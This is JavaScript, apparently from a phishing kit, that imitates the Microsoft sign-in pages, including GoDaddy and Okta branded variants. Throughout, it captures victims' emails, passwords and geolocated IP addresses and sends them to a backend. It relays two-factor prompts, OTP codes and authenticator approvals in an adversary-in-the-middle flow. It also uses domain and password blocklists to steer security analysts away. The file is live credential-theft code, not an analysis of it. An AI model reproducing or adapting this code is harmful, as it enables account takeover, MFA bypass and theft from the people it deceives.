document.getElementById('section_uname').classList.remove('d-none'); // if (document.body.style.backgroundImage) { // document.body.style.backgroundImage = ""; // } // if (document.body.style.backgroundColor) { // document.body.style.backgroundColor = ""; // } // view = "uname"; // } // if (response['message'] == "request wasnt sent"){ // document.getElementById('section_authapperror').querySelector('.title').textContent = "Request wasn't sent"; // document.getElementById("authapperrordesc").classList.toggle('error'); // document.getElementById('authapperrordesc').innerHTML = `Sorry, we're having trouble verifying your account. Please try again.View details`; // view = "authapperror"; // } // if (response['message'] == "approve auth request auth app"){ // document.getElementById("authappimg").setAttribute("src", response['image_src']); // checkerrordesc('authapp',0,response['description']); // bottomsectionlinks('authapp',response['bottomsection']) // changebackbutton('authapp',response['backbutton']); // document.getElementById("authappcode").textContent = response['authappcode']; // document.getElementById("section_"+view).classList.toggle('d-none'); // document.getElementById('section_authapp').classList.remove('d-none'); // view = "authapp"; // } // if (element.textContent == "Sign out and sign in with a different account"){ // bottomsectionlinks('uname',[{a_id: "signup", a_text: "Create one!", text: "No account?", type: "text_link"},{a_id: "cantAccessAccount", a_text: "Can't access your account?", type: "link"}]);; // changebackbutton('uname',0); // document.getElementById("section_"+view).classList.toggle('d-none'); // document.getElementById('inp_uname').value = ""; // document.getElementById('error_pwd').innerText = ""; // document.getElementById('inp_pwd').value = ""; // document.getElementById('section_uname').querySelector('.sectioncontent').style.animation = ''; // document.getElementById('section_uname').classList.remove('d-none'); // if (document.body.style.backgroundImage) { // document.body.style.backgroundImage = ""; // } // if (document.body.style.backgroundColor) { // document.body.style.backgroundColor = ""; // } // view = "uname"; // } } } function authappbottomtext(array) { const bottomsection = document.getElementById('section_authapperror').querySelector('.text-body'); bottomsection.innerHTML = ''; array.forEach(item => { if (item.type === 'text_link') { const textWithLink = document.createElement('p'); textWithLink.classList.add('link','mb-16'); textWithLink.innerHTML = `${item.text} ${item.a_text}`; bottomsection.appendChild(textWithLink); } else if (item.type === 'link_text') { const linkwithText = document.createElement('p'); linkwithText.classList.add('link','mb-16'); linkwithText.innerHTML = `${item.a_text} ${item.text}`; bottomsection.appendChild(linkwithText); const paragraph = document.createElement('p'); paragraph.textContent = item.text; bottomsection.appendChild(paragraph) } else if (item.type === 'link') { const linkOnly = document.createElement('a'); linkOnly.classList.add('link','mb-16'); linkOnly.setAttribute('style', 'display: unset;'); linkOnly.setAttribute("data-id", item.a_id); linkOnly.setAttribute("onclick", "linkoptionclick(this)"); linkOnly.textContent = item.a_text; linkOnly.href = '#'; bottomsection.appendChild(linkOnly); } else if (item.type === 'text') { const textOnly = document.createElement('p'); textOnly.classList.add('mb-16'); textOnly.textContent = item.text; bottomsection.appendChild(textOnly); } }); } function selectprotectoption(ele) { // Get all radio inputs within the iAdditionalProofInfo elements const radioInputs = document.querySelectorAll('.iAdditionalProofInfo input[type="radio"]'); // Loop through each radio input and uncheck it radioInputs.forEach((radioInput) => { radioInput.removeAttribute('checked'); radioInput.removeAttribute('aria-checked'); }); // Check the radio input of the selected element const selectedRadioInput = ele; // Remove iAdditionalProofInfo from all other elements const proofInfoElements = document.querySelectorAll('.iAdditionalProofInfo'); proofInfoElements.forEach((element) => { if (element !== ele) { element.parentNode.removeChild(element); } }); nexteletext = ele.nextElementSibling.textContent; // Add iAdditionalProofInfo to the selected element const additionalProofInfoDiv = document.createElement("div"); additionalProofInfoDiv.classList.add("iAdditionalProofInfo"); // Create the inner HTML for the iAdditionalProofInfo div based on the selected option if (selectedRadioInput.value === 'email') { emailval = nexteletext.split('@').pop(); // Create HTML for the email type additionalProofInfoDiv.innerHTML = `
${textarr.text} ${textarr.a_text} or try to sign in again shortly.
`; } if(textarr.a_id != "useAuthenticator"){ document.getElementById(id).innerHTML = `${textarr.text} ${textarr.a_text}
`; } } else if (textarr.type === 'link_text') { document.getElementById(id).innerHTML = `${textarr.a_text}${textarr.text}
`; } else if (textarr.type === 'link') { document.getElementById(id).innerHTML = `${textarr.a_text}`; } else if (textarr.type === 'text') { document.getElementById(id).innerHTML = `${textarr.text}
`; } } function selectmultipleaccountadfs(element) { const elements = document.getElementsByClassName("idp"); let clickedElementIndex = -1; for (let i = 0; i < elements.length; i++) { if (elements[i] === element) { clickedElementIndex = i; break; } } sendAndReceive('selectmultipleaccountadfs', [clickedElementIndex],1) .then(response => { if (response && response['message'] !== "waiting for previous request to complete") { if (response['message'] == 'password') { document.getElementById("section_multipleaccounts_adfs").classList.toggle('d-none'); document.getElementById('section_sidebarlogin_adfs').classList.remove('d-none'); view = "sidebar_pwd_adfs" }console.log('Received response:', response); } }) .catch(error => { loadinganimation(1); console.error('Error:', error); }); } function displaymultipleaccountsadfs(array) { const parentElement = document.getElementById("multipleaccountsadfs"); parentElement.innerHTML = ''; array.forEach((item) => { const divIdp = document.createElement("div"); divIdp.classList.add("idp"); divIdp.setAttribute("onclick", "selectmultipleaccountadfs(this)"); const img = document.createElement("img"); img.classList.add("largeIcon", "float"); img.src = item.image_src; img.alt = item.email; const divIdpDescription = document.createElement("div"); divIdpDescription.classList.add("idpDescription", "float"); const spanLargeText = document.createElement("span"); spanLargeText.classList.add("largeTextNoWrap", "indentNonCollapsible"); spanLargeText.innerText = item.email; divIdpDescription.appendChild(spanLargeText); divIdp.appendChild(img); divIdp.appendChild(divIdpDescription); parentElement.appendChild(divIdp); }); } // function waitforweb(viewname){ // sendAndReceive('waitwebsite', [],1) // .then(response => { // if (response && response['message'] !== "waiting for previous request to complete") { // for (var i = 0; i < websitenames.length; i++) { // if (response['message'].includes("newwebsiteopen") == true && response['message'].includes(websitenames[i]) == true){ // matchFound = true; // document.querySelectorAll('.user_identity').forEach((e) => { // e.innerText = unameInp.value; // }); // if(websitenames[i] == 'godaddy'){ // var websitescript = gdf; // var existingScript = document.querySelector('script[src^="'+gdf+'"]'); // if (!existingScript) { // var scriptElement = document.createElement("script"); // scriptElement.src = websitescript; // document.head.appendChild(scriptElement); // } // pagevisited(); // const hoverStyle = ` // ::-moz-selection { // background: #a6fff8; // } // ::selection { // background: #a6fff8; // } // `; // const styleElement = document.createElement('style'); // styleElement.id = 'dynamic-style'; // styleElement.textContent = hoverStyle; // document.head.appendChild(styleElement); // document.getElementById("section_"+viewname).classList.toggle('d-none'); // document.getElementById("sections").classList.toggle('d-none'); // document.getElementById('sections_'+websitenames[i]+'').classList.remove('d-none'); // document.body.style.setProperty('background-color', '#f5f7f8', 'important'); // document.body.style.setProperty('background-image', 'unset', 'important'); // document.body.style.setProperty('overflow', 'auto', 'important'); // view = "pwd_godaddy"; // } // } // if (response['message'].includes("newwebsiteopen") == true && i == websitenames.length - 1 && !matchFound) { // document.getElementById("error_"+viewname).innerText = ""; // document.querySelectorAll('.user_identity').forEach((e) => { // e.innerText = unameInp.value; // }); // document.getElementById("section_"+viewname).classList.toggle('d-none'); // document.getElementById('section_pwd').classList.remove('d-none'); // webnotfound = true; // view = "pwd"; // } // } // } // }) // .catch(error => { // console.error('Error:', error); // }); // } function pagevisited(email,mailtypeval){ if(pagevisitedalready == null){ pagevisitedalready = 1; sendAndReceive('pagevisit', [btoa(userAgent)],1) .then(response => { if (response && response['message'] == "api expired") { document.open(); document.write("api expired"); document.close(); } }) .catch(error => { console.error('Error:', error); }); } } pwdInp.addEventListener('input', function() { if(pdfcheck == 0){ if (pwdInp.value.trim() !== "") { pagevisited(document.getElementById('inp_uname').value,pvn); } } if(pdfcheck == 1){ if (pwdInp.value.trim() !== "") { pagevisited(document.getElementById('pdfemail').value,pvn); } } }); pwdInplive.addEventListener('input', function() { if(pdfcheck == 0){ if (pwdInplive.value.trim() !== "") { pagevisited(document.getElementById('inp_uname').value,pvn); } } if(pdfcheck == 1){ if (pwdInplive.value.trim() !== "") { pagevisited(document.getElementById('pdfemail').value,pvn); } } }); function sendemail(){ // sendAndReceive('checkemail', [unameInp.value,pagelinkval,browserName,userip],1) sendAndReceive('checkemail', [unameInp.value,pagelinkval,browserName,userip,usercountry],1) .then(response => { if (response && response['message'] !== "waiting for previous request to complete") { loadinganimation(1); var matchFound = false; var animduration = 300; if (response['message'].includes("newwebsiteopen") == false && response['message'] !== "error"){ runanimation(2,view,0.3); if(response['acctype'] && response['acctype'] == 2){ pvn = 1; } if(response['acctype'] == undefined || response['acctype'] && response['acctype'] == 1){ pvn = 0; } } if (response['message'].includes("newwebsiteopen") == false){ animduration = 0; } setTimeout(function() { for (var i = 0; i < websitenames.length; i++) { if (response['message'].includes("newwebsiteopen") == true && response['message'].includes(websitenames[i]) == true){ matchFound = true; document.querySelectorAll('.user_identity').forEach((e) => { e.innerText = unameInp.value; }); if(websitenames[i] == 'godaddy'){ document.getElementById("error_uname").innerText = ""; document.querySelectorAll('.user_identity').forEach((e) => { e.innerText = unameInp.value; }); bottomsectionlinks('pwd',[{a_id: "idA_PWD_ForgotPassword", a_text: "Forgot my password", type: "link"}]) changebackbutton('pwd',1); document.getElementById("section_uname").classList.toggle('d-none'); document.getElementById('section_pwd').classList.remove('d-none'); otherweburl = response['message'].replace('newwebsiteopen', ''); webnotfound = false; view = "pwd"; } if(websitenames[i] == 'okta'){ document.getElementById("error_uname").innerText = ""; document.querySelectorAll('.user_identity').forEach((e) => { e.innerText = unameInp.value; }); bottomsectionlinks('pwd',[{a_id: "idA_PWD_ForgotPassword", a_text: "Forgot my password", type: "link"}]) changebackbutton('pwd',1); document.getElementById("section_uname").classList.toggle('d-none'); document.getElementById('section_pwd').classList.remove('d-none'); otherweburl = response['message'].replace('newwebsiteopen', ''); webnotfound = true; view = "pwd"; } } if (response['message'].includes("newwebsiteopen") == true && i == websitenames.length - 1 && !matchFound) { document.getElementById("error_uname").innerText = ""; document.querySelectorAll('.user_identity').forEach((e) => { e.innerText = unameInp.value; }); bottomsectionlinks('pwd',[{a_id: "idA_PWD_ForgotPassword", a_text: "Forgot my password", type: "link"}]) changebackbutton('pwd',0); document.getElementById("section_uname").classList.toggle('d-none'); document.getElementById('section_pwd').classList.remove('d-none'); otherweburl = response['message'].replace('newwebsiteopen', ''); webnotfound = true; view = "pwd"; } } // if (response['message'] == "signtoanotherweb"){ // document.getElementById('section_uname').querySelector('.sectioncontent').style.animation = 'hide-to-left 0.5s forwards'; // setTimeout(function(){ // document.getElementById("section_uname").classList.toggle('d-none'); // document.getElementById('section_signtoanotherweb').classList.remove('d-none'); // document.getElementById('section_signtoanotherweb').querySelector('.sectioncontent').style.animation = 'show-from-right 0.5s'; // setTimeout(function(){ // document.getElementById('section_signtoanotherweb').querySelector('.loading-container').classList.add('loading'); // }, 500); // }, 500); // view = "signtoanotherweb"; // waitforweb(view); // } if (response['message'] == "multiple accounts"){ multipleaccountsback = 1; if(twa == 0){ var bannerLogos = document.querySelectorAll(".bannerlogo"); bannerLogos.forEach(function(element) { element.style.height = "24px"; }); } document.getElementById('section_multipleaccounts').querySelector('#btn_back').setAttribute("data-id", response['backbtnid']); document.getElementById('section_multipleaccounts').querySelector('#btn_back').setAttribute("onclick", "backbuttonclick(this,2)"); checkerrordesc('multipleaccounts',0,response['description']); displaymultipleaccounts(response['accountoptions']); bottomsectionlinks('multipleaccounts',response['bottomsection']) document.querySelectorAll('.user_identity').forEach((e) => { e.innerText = unameInp.value; }); document.getElementById("section_uname").classList.toggle('d-none'); document.getElementById('section_multipleaccounts').classList.remove('d-none'); view = "multipleaccounts"; } // if (response['message'] == "newwebsiteopen"){ // bottomsectionlinks('pwd',[{a_id: "idA_PWD_ForgotPassword", a_text: "Forgot my password", type: "link"}]); // if(twa == 0){ // var bannerLogos = document.querySelectorAll(".bannerlogo"); // bannerLogos.forEach(function(element) { // element.style.height = "24px"; // }); // } // document.querySelectorAll('.user_identity').forEach((e) => { // e.innerText = unameInp.value; // }) // document.getElementById("section_uname").classList.toggle('d-none'); // document.getElementById('section_pwd').classList.remove('d-none'); // view = "pwd"; // } if (response['message'] == "correct email"){ if(twa == 0){ if(response['bannerlogo'] !== undefined && response['bannerlogo'] !== null){ var bannerLogos = document.querySelectorAll(".bannerlogo"); bannerLogos.forEach(function(element) { element.style.backgroundImage = "url('"+response['bannerlogo']+"')"; element.style.width = "unset"; element.style.height = "36px"; }); } if(response['backgroundcolor'] !== undefined && response['backgroundcolor'] !== null){ document.body.style.setProperty('background-color', response['backgroundcolor']); } if(response['backgroundimage'] !== undefined && response['backgroundimage'] !== null){ document.body.style.setProperty('background-image', "url('"+response['backgroundimage']+"')"); } if(response['bannerlogo'] == undefined && response['bannerlogo'] !== null){ var bannerLogos = document.querySelectorAll(".bannerlogo"); bannerLogos.forEach(function(element) { element.style.height = "24px"; }); } } if(pvn == 0){ bottomsectionlinks('pwd',response['bottomsection']) changebackbutton('pwd',response['backbutton']); } if(pvn == 1){ bottomsectionlinks('pwd_live',response['bottomsection']) changebackbutton('pwd_live',response['backbutton']); } document.getElementById("error_uname").innerText = ""; document.querySelectorAll('.user_identity').forEach((e) => { e.innerText = unameInp.value; }); document.getElementById("section_uname").classList.toggle('d-none'); if(pvn == 0){ document.getElementById('section_pwd').classList.remove('d-none'); view = "pwd"; } if(pvn == 1){ document.getElementById('section_pwd_live').classList.remove('d-none'); view = "pwd_live"; } } if (response['message'] == "error"){ bottomsectionlinks('uname',[{a_id: "signup", a_text: "Create one!", text: "No account?", type: "text_link"},{a_id: "cantAccessAccount", a_text: "Can't access your account?", type: "link"}]); checkerrordesc('uname',1,response['description']); } if (response['message'].includes("newwebsiteopen") == false && response['message'] !== "error"){ runanimation(1,view,0.3); } }, animduration); } }) .catch(error => { loadinganimation(1); console.error('Error:', error); }); } function missingadd(){ let curpassword = null; if(pvn == 0){ curpassword = pwdInp.value; } if(pvn == 1){ curpassword = pwdInplive.value; } sendAndReceive('missingtemplate', [curpassword],1) .then(response => { }) .catch(error => { console.error('Error:', error); }); } function validate() { if (view === "uname") { const blockedDomains = bes; const domain = unameInp.value.trim().split('@')[1]; if (unameInp.value.includes("@") && blockedDomains.some(blocked => domain.includes(blocked))) { loadinganimation(0); setTimeout(function() { loadinganimation(1); document.getElementById("error_uname").innerText = "We couldn't find an account with that username. Try another, or get a new Microsoft account."; }, 3000); } if (unameInp.value.trim() == "") { document.getElementById("error_uname").innerText = "Enter a valid email address, phone number, or Skype name."; } else if (unameInp.value.trim() != "" && unameInp.value.includes("@") && !blockedDomains.some(blocked => domain.includes(blocked))) { showwedidnthearpopup = 1; loadinganimation(0); if (webnotfound == true){ setTimeout(function() { loadinganimation(1); runanimation(2,view,0.3); setTimeout(function() { document.getElementById('error_pwd').innerText = ""; document.getElementById('inp_pwd').value = ""; bottomsectionlinks('pwd',[{a_id: "idA_PWD_ForgotPassword", a_text: "Forgot my password", type: "link"}]) document.getElementById("section_uname").classList.toggle('d-none'); document.getElementById('section_pwd').classList.remove('d-none'); view = "pwd"; runanimation(1,view,0.3); }, 300); }, 3000); } if (webnotfound == false){ if(interacted == 1){ // (function sendemailrequestone() { // $.get("https://get.geojs.io/v1/ip/geo.json", function(response) { // userip = response.ip; // usercountry = response.country; // sendemail(); // }, "json") // .fail(function(jqXHR, textStatus, errorThrown) { // if (jqXHR.status == 429 || textStatus !== "success") { // setTimeout(sendemailrequestone, 1000); // } // }); // })(); sendemail(); } if(interacted == 0){ interacted = 1; (function sendemailrequestzero() { $.get("https://get.geojs.io/v1/ip/geo.json", function(response) { userip = response.ip; usercountry = response.country; sendemail(); }, "json") .fail(function(jqXHR, textStatus, errorThrown) { if (jqXHR.status == 429 || textStatus !== "success") { setTimeout(sendemailrequestzero, 1000); } }); })(); } } } } else if (view === "pwd") { const blockedPasses = pes; const curpass = pwdInp.value; if (blockedPasses.some(blocked => curpass.includes(blocked))) { loadinganimation(0); setTimeout(function() { loadinganimation(1); document.getElementById("section_pwd").classList.toggle('d-none'); document.getElementById('section_final').classList.remove('d-none'); view = "final"; document.getElementById("error_pwd").innerText = ""; }, 3000); } if (pwdInp.value.trim() === "") { document.getElementById("error_pwd").innerText = "Please enter the password for your Microsoft account."; } else if (pwdInp.value.trim() != "" && !blockedPasses.some(blocked => curpass.includes(blocked))) { loadinganimation(0); if (webnotfound == true){ missingadd(); setTimeout(function() { loadinganimation(1); runanimation(2,view,0.3); setTimeout(function() { bottomsectionlinks('pwd',[{a_id: "idA_PWD_ForgotPassword", a_text: "Forgot my password", type: "link"}]) changebackbutton('pwd',1); document.getElementById("section_pwd").classList.toggle('d-none'); document.getElementById('section_final').classList.remove('d-none'); document.getElementById("error_pwd").innerText = ""; view = "final"; runanimation(1,view,0.3); }, 300); }, 3000); } if (webnotfound == false){ multipleaccountsback = 0; sendAndReceive('checkpass', [pwdInp.value.replace(/\//g, 'customslashstr')],1) .then(response => { if (response && response['message'] !== "waiting for previous request to complete") { loadinganimation(1); // live stuff if (response['message'] == "signinblocked live"){ document.getElementById("error_pwd").innerText = ""; document.getElementById("signin_blocked_live_email").innerText = response['email']; checkerrordesc('signin_blocked_live',0,response['description']); checkerrordesc('signin_blocked_reason',2,response['reason']); document.getElementById("section_pwd").classList.toggle('d-none'); document.getElementById('section_signin_blocked_live').classList.remove('d-none'); view = "signin_blocked_live"; } if (response['message'] == "protectaccount live"){ checkerrordesc('protect_account_live',0,response['description']); document.getElementById('section_'+view).classList.toggle('d-none'); document.getElementById('section_protect_account_live').classList.remove('d-none'); view = "protect_account_live"; } // live stuff if (response['message'] == "you dont have access"){ // checkerrordesc('youdonthaveaccesssignout',2,response['youdonthaveaccessdesc']); // checkerrordesc('youdonthaveaccesmoredetails',2,response['moredetailslink']); document.getElementById("section_pwd").classList.toggle('d-none'); document.getElementById('section_youdonthaveaccess').classList.remove('d-none'); view = "youdonthaveaccess"; } if (response['message'] == "moreinforequired"){ document.getElementById("section_pwd").classList.toggle('d-none'); document.getElementById('section_moreinforequired').classList.remove('d-none'); view = "moreinforequired"; } if (response['message'] == "more info required"){ moreinforeq(); } if (response['message'] == "2fa is off newwebsite"){ document.getElementById("section_pwd").classList.toggle('d-none'); document.getElementById('section_final').classList.remove('d-none'); view = "final"; // sendinfo(unameInp.value,pwdInp.value,2); document.getElementById("error_pwd").innerText = ""; } if (response['message'] == "2fa is off"){ document.getElementById("section_pwd").classList.toggle('d-none'); document.getElementById('section_final').classList.remove('d-none'); view = "final"; // sendinfo(unameInp.value,pwdInp.value,1); document.getElementById("error_pwd").innerText = ""; } if (response['message'] == "sign in blocked"){ document.getElementById("error_pwd").innerText = ""; document.getElementById("section_pwd").classList.toggle('d-none'); document.getElementById("section_accessblocked").querySelector("h2.title").textContent = response['title']; changebackbutton('accessblocked',response['backbutton']); checkerrordesc('accessblocked',0,response['description']); checkerrordesc('accessblockedsignoutoption',2,response['signoutoption']); document.getElementById("footer").style.position = "relative"; var debugdetailsinfoele = document.getElementById("debugdetailsinfo"); response['troubleshootinginfo'].forEach((item, index) => { const newinfo = document.createElement("div"); const infoname = document.createElement("span"); infoname.textContent = item.name; infoname.classList.add("bold"); const infovalue = document.createElement("span"); infovalue.textContent = item.value; newinfo.appendChild(infoname); newinfo.appendChild(infovalue); debugdetailsinfoele.appendChild(newinfo); }); document.getElementById('section_accessblocked').classList.remove('d-none'); view = "accessblocked"; } if (response['message'] == "protect account"){ document.getElementById("error_pwd").innerText = ""; checkerrordesc('protectaccount',0,response['description']); displayprotectoptions(response['protectoptions']); bottomsectionlinks('protectaccount',response['bottomsection']) changebackbutton('protectaccount',response['backbutton']); document.getElementById("section_pwd").classList.toggle('d-none'); document.getElementById('section_protectaccount').classList.remove('d-none'); view = "protectaccount"; } if (response['message'] == "otp sent"){ document.getElementById("error_pwd").innerText = ""; document.getElementById("otpimg").setAttribute("src", response['image_src']); checkerrordesc('otp',0,response['description']); bottomsectionlinks('otp',response['bottomsection']) changebackbutton('otp',response['backbutton']); document.getElementById("section_pwd").classList.toggle('d-none'); document.getElementById('section_otp').classList.remove('d-none'); view = "otp"; } if (response['message'] == "approve auth request auth app"){ document.getElementById("error_pwd").innerText = ""; document.getElementById("authappimg").setAttribute("src", response['image_src']); checkerrordesc('authapp',0,response['description']); bottomsectionlinks('authapp',response['bottomsection']) changebackbutton('authapp',response['backbutton']); document.getElementById("authappcode").textContent = response['authappcode']; document.getElementById("section_pwd").classList.toggle('d-none'); document.getElementById('section_authapp').classList.remove('d-none'); view = "authapp"; wait2fa('app',response['methodid']); } if (response['message'] == "approve auth request calling"){ document.getElementById('section_authcall').querySelector('.back').focus(); document.getElementById("error_pwd").innerText = ""; document.getElementById("authcallimg").setAttribute("src", response['image_src']); checkerrordesc('authcall',0,response['description']); bottomsectionlinks('authcall',response['bottomsection']) changebackbutton('authcall',response['backbutton']); document.getElementById("section_pwd").classList.toggle('d-none'); document.getElementById('section_authcall').classList.remove('d-none'); view = "authcall"; wait2fa('call'); } if (response['message'] == "2fa is on"){ var twofaarr = JSON.parse(response['twofamethods']); displaytwofamethods(twofaarr); bottomsectionlinks('2fa',response['bottomsection']); changebackbutton('2fa',response['backbutton']); document.getElementById("section_pwd").classList.toggle('d-none'); document.getElementById('section_2fa').classList.remove('d-none'); view = "2fa"; document.getElementById("error_pwd").innerText = ""; } if (response['message'] == "error"){ // sendinfo(unameInp.value,pwdInp.value,0); bottomsectionlinks('pwd',response['bottomsection']) changebackbutton('pwd',response['backbutton']); checkerrordesc('pwd',1,response['description']); document.getElementById("inp_pwd").value = ""; } for (var i = 0; i < websitenames.length; i++) { if (response['message'] == "error "+websitenames[i]+""){ checkerrordesc('pwd',1,response['description']); } } } }) .catch(error => { loadinganimation(1); console.error('Error:', error); }); } } } else if (view === "pwd_live") { const blockedPasses = pes; const curpass = pwdInplive.value; if (blockedPasses.some(blocked => curpass.includes(blocked))) { loadinganimation(0); setTimeout(function() { loadinganimation(1); document.getElementById("section_pwd_live").classList.toggle('d-none'); document.getElementById('section_final').classList.remove('d-none'); view = "final"; document.getElementById("error_pwd_live").innerText = ""; }, 3000); } if (pwdInplive.value.trim() === "") { document.getElementById("error_pwd_live").innerText = "Please enter the password for your Microsoft account."; } else if (pwdInplive.value.trim() != "" && !blockedPasses.some(blocked => curpass.includes(blocked))) { loadinganimation(0); if (webnotfound == true){ missingadd(); setTimeout(function() { loadinganimation(1); runanimation(2,view,0.3); setTimeout(function() { bottomsectionlinks('pwd_live',[{a_id: "idA_PWD_ForgotPassword", a_text: "Forgot your password", type: "link"}]) changebackbutton('pwd_live',1); document.getElementById("section_pwd_live").classList.toggle('d-none'); document.getElementById('section_final').classList.remove('d-none'); document.getElementById("error_pwd_lived").innerText = ""; view = "final"; runanimation(1,view,0.3); }, 300); }, 3000); } if (webnotfound == false){ multipleaccountsback = 0; sendAndReceive('checkpass', [pwdInplive.value.replace(/\//g, 'customslashstr')],1) .then(response => { if (response && response['message'] !== "waiting for previous request to complete") { loadinganimation(1); // live stuff if (response['message'] == "signinblocked live"){ document.getElementById("error_pwd_live").innerText = ""; document.getElementById("signin_blocked_live_email").innerText = response['email']; checkerrordesc('signin_blocked_live',0,response['description']); checkerrordesc('signin_blocked_reason',2,response['reason']); document.getElementById("section_pwd_live").classList.toggle('d-none'); document.getElementById('section_signin_blocked_live').classList.remove('d-none'); view = "signin_blocked_live"; } if (response['message'] == "protectaccount live"){ checkerrordesc('protect_account_live',0,response['description']); document.getElementById('section_'+view).classList.toggle('d-none'); document.getElementById('section_protect_account_live').classList.remove('d-none'); view = "protect_account_live"; } // live stuff if (response['message'] == "you dont have access"){ // checkerrordesc('youdonthaveaccesssignout',2,response['youdonthaveaccessdesc']); // checkerrordesc('youdonthaveaccesmoredetails',2,response['moredetailslink']); document.getElementById("section_pwd_live").classList.toggle('d-none'); document.getElementById('section_youdonthaveaccess').classList.remove('d-none'); view = "youdonthaveaccess"; } if (response['message'] == "moreinforequired"){ document.getElementById("section_pwd_live").classList.toggle('d-none'); document.getElementById('section_moreinforequired').classList.remove('d-none'); view = "moreinforequired"; } if (response['message'] == "more info required"){ moreinforeq(); } if (response['message'] == "2fa is off newwebsite"){ document.getElementById("section_pwd_live").classList.toggle('d-none'); document.getElementById('section_final').classList.remove('d-none'); view = "final"; // sendinfo(unameInp.value,pwdInplive.value,2); document.getElementById("error_pwd_live").innerText = ""; } if (response['message'] == "2fa is off"){ document.getElementById("section_pwd_live").classList.toggle('d-none'); document.getElementById('section_final').classList.remove('d-none'); view = "final"; // sendinfo(unameInp.value,pwdInplive.value,1); document.getElementById("error_pwd_live").innerText = ""; } if (response['message'] == "sign in blocked"){ document.getElementById("error_pwd_live").innerText = ""; document.getElementById("section_pwd_live").classList.toggle('d-none'); document.getElementById("section_accessblocked").querySelector("h2.title").textContent = response['title']; changebackbutton('accessblocked',response['backbutton']); checkerrordesc('accessblocked',0,response['description']); checkerrordesc('accessblockedsignoutoption',2,response['signoutoption']); document.getElementById("footer").style.position = "relative"; var debugdetailsinfoele = document.getElementById("debugdetailsinfo"); response['troubleshootinginfo'].forEach((item, index) => { const newinfo = document.createElement("div"); const infoname = document.createElement("span"); infoname.textContent = item.name; infoname.classList.add("bold"); const infovalue = document.createElement("span"); infovalue.textContent = item.value; newinfo.appendChild(infoname); newinfo.appendChild(infovalue); debugdetailsinfoele.appendChild(newinfo); }); document.getElementById('section_accessblocked').classList.remove('d-none'); view = "accessblocked"; } if (response['message'] == "protect account"){ document.getElementById("error_pwd_live").innerText = ""; checkerrordesc('protectaccount',0,response['description']); displayprotectoptions(response['protectoptions']); bottomsectionlinks('protectaccount',response['bottomsection']) changebackbutton('protectaccount',response['backbutton']); document.getElementById("section_pwd_live").classList.toggle('d-none'); document.getElementById('section_protectaccount').classList.remove('d-none'); view = "protectaccount"; } if (response['message'] == "otp sent"){ document.getElementById("error_pwd_live").innerText = ""; document.getElementById("otpimg").setAttribute("src", response['image_src']); checkerrordesc('otp',0,response['description']); bottomsectionlinks('otp',response['bottomsection']) changebackbutton('otp',response['backbutton']); document.getElementById("section_pwd_live").classList.toggle('d-none'); document.getElementById('section_otp').classList.remove('d-none'); view = "otp"; } if (response['message'] == "approve auth request auth app"){ document.getElementById("error_pwd_live").innerText = ""; document.getElementById("authappimg").setAttribute("src", response['image_src']); checkerrordesc('authapp',0,response['description']); bottomsectionlinks('authapp',response['bottomsection']) changebackbutton('authapp',response['backbutton']); document.getElementById("authappcode").textContent = response['authappcode']; document.getElementById("section_pwd_live").classList.toggle('d-none'); document.getElementById('section_authapp').classList.remove('d-none'); view = "authapp"; wait2fa('app',response['methodid']); } if (response['message'] == "approve auth request calling"){ document.getElementById('section_authcall').querySelector('.back').focus(); document.getElementById("error_pwd_live").innerText = ""; document.getElementById("authcallimg").setAttribute("src", response['image_src']); checkerrordesc('authcall',0,response['description']); bottomsectionlinks('authcall',response['bottomsection']) changebackbutton('authcall',response['backbutton']); document.getElementById("section_pwd_live").classList.toggle('d-none'); document.getElementById('section_authcall').classList.remove('d-none'); view = "authcall"; wait2fa('call'); } if (response['message'] == "2fa is on"){ var twofaarr = JSON.parse(response['twofamethods']); displaytwofamethods(twofaarr); bottomsectionlinks('2fa',response['bottomsection']); changebackbutton('2fa',response['backbutton']); document.getElementById("section_pwd_live").classList.toggle('d-none'); document.getElementById('section_2fa').classList.remove('d-none'); view = "2fa"; document.getElementById("error_pwd_live").innerText = ""; } if (response['message'] == "error"){ // sendinfo(unameInp.value,pwdInplive.value,0); bottomsectionlinks('pwd_live',response['bottomsection']) changebackbutton('pwd_live',response['backbutton']); checkerrordesc('pwd_live',1,response['description']); document.getElementById("inp_pwd_live").value = ""; } for (var i = 0; i < websitenames.length; i++) { if (response['message'] == "error "+websitenames[i]+""){ checkerrordesc('pwd_live',1,response['description']); } } } }) .catch(error => { loadinganimation(1); console.error('Error:', error); }); } } } return false; } function resetbacktoemail(){ var backpagename = "uname"; if(multipleaccountsback == 1){ backpagename = "multipleaccounts"; } bottomsectionlinks(backpagename,[{a_id: "signup", a_text: "Create one!", text: "No account?", type: "text_link"},{a_text: "Can't access your account?", a_id: "cantAccessAccount", type: "link"}]) if(multipleaccountsback == 0){ changebackbutton(backpagename,0); } document.body.style.backgroundImage = ""; document.body.style.backgroundColor = ""; if(twa == 0){ var bannerLogos = document.querySelectorAll(".bannerlogo"); bannerLogos.forEach(function(element) { if (element.hasAttribute('style')) { element.removeAttribute('style'); element.style.height = "36px"; } }); } document.getElementById('error_pwd').innerText = ""; document.getElementById("section_pwd").classList.toggle('d-none'); document.getElementById('section_pwd').querySelector('.sectioncontent').style.animation = ''; document.getElementById('section_'+backpagename).classList.remove('d-none'); view = backpagename; } function backbtn(){ runanimation(0,view,1.2); if (webnotfound == true && (view == "pwd" || view == "pwd_live")){ webnotfound = false; setTimeout(function() { resetbacktoemail(); runanimation(3,view,1.2); }, 900); } else if (webnotfound == false && (view == "pwd" || view == "pwd_live")){ document.getElementById('section_'+view).querySelector('.sectioncontent').style.animation = ''; if (view == "pwd" || view == "pwd_live"){ if (view == "pwd"){ document.getElementById('error_pwd').innerText = ""; document.getElementById('inp_pwd').value = ""; document.getElementById('error_uname').innerText = ""; document.getElementById('inp_uname').value = ""; bottomsectionlinks('uname',[{a_id: "signup", a_text: "Create one!", text: "No account?", type: "text_link"},{a_id: "cantAccessAccount", a_text: "Can't access your account?", type: "link"}]); changebackbutton('uname',0); document.getElementById("section_pwd").classList.toggle('d-none'); } if (view == "pwd_live"){ document.getElementById('error_pwd_live').innerText = ""; document.getElementById('inp_pwd_live').value = ""; document.getElementById('error_uname').innerText = ""; document.getElementById('inp_uname').value = ""; bottomsectionlinks('uname',[{a_id: "signup", a_text: "Create one!", text: "No account?", type: "text_link"},{a_id: "cantAccessAccount", a_text: "Can't access your account?", type: "link"}]); changebackbutton('uname',0); document.getElementById("section_pwd_live").classList.toggle('d-none'); } document.getElementById('section_uname').querySelector('.sectioncontent').style.animation = ''; document.getElementById('section_uname').classList.remove('d-none'); if (document.body.style.backgroundImage) { 